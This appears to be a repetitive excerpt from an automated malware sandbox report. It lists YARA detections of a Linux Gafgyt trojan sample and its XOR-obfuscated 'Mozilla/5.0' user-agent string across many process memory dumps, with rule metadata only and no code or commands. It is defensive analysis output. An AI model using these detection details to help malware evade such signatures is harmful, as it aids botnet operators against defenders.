Source: 6332.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6360.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6336.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6328.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6294.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6383.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6477.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6409.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6369.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6469.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6457.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6305.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6330.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6487.1.00007f122c42b000.00007f122c42c000.rw-.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6227, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6260, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6274, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6276, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6286, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6293, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6294, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6305, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6314, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6316, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6328, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6330, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6332, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: naZZ0BK2hf.elf PID: 6336, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
